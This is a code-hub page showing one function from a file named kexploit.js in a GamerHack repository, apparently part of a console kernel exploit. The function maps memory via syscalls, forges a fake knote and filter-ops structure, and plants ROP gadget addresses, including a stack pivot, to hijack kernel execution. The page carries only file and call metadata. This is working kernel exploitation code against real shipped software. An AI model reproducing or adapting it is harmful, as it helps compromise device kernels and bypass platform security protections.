MCPcopy Create free account
hub / github.com/GamerHack/GamerHack.github.io / object_setup

Function object_setup

900v2/kexploit.js:524–552  ·  view source on GitHub ↗
()

Source from the content-addressed store, hash-verified

522}
523
524function object_setup() {
525 //Map fake object
526 var fake_knote = chain.syscall(477, 0x4000, 0x4000 * 0x3, 0x3, 0x1010, 0xFFFFFFFF, 0x0);
527 var fake_filtops = fake_knote.add32(0x4000);
528 var fake_obj = fake_knote.add32(0x8000);
529 if (fake_knote.low != 0x4000) {
530 alert("enomem: " + fake_knote);
531 while (1);
532 }
533 //setup fake object
534 //KNOTE
535 {
536 p.write8(fake_knote, fake_obj);
537 p.write8(fake_knote.add32(0x68), fake_filtops)
538 }
539 //FILTOPS
540 {
541 p.write8(fake_filtops.sub32(0x79), gadgets["cli ; pop rax"]); //cli ; pop rax ; ret
542 p.write8(fake_filtops.add32(0x0), gadgets["xchg rdi, rsp ; call [rsi - 0x79]"]); //xchg rdi, rsp ; call qword ptr [rsi - 0x79]
543 p.write8(fake_filtops.add32(0x8), kchain.stack);
544 p.write8(fake_filtops.add32(0x10), gadgets["mov rcx, [rdi] ; mov rsi, rax ; call [rcx + 0x30]"]); //mov rcx, qword ptr [rdi] ; mov rsi, rax ; call qword ptr [rcx + 0x30]
545 }
546 //OBJ
547 {
548 p.write8(fake_obj.add32(0x30), gadgets["mov rdi, [rax + 8] ; call [rax]"]); //mov rdi, qword ptr [rax + 8] ; call qword ptr [rax]
549 }
550 //Ensure the fake knote remains available
551 chain.syscall(203, fake_knote, 0xC000);
552}
553
554var trigger_spray = function () {
555

Callers 1

kernelFunction · 0.70

Calls 2

syscallMethod · 0.45
write8Method · 0.45

Tested by

no test coverage detected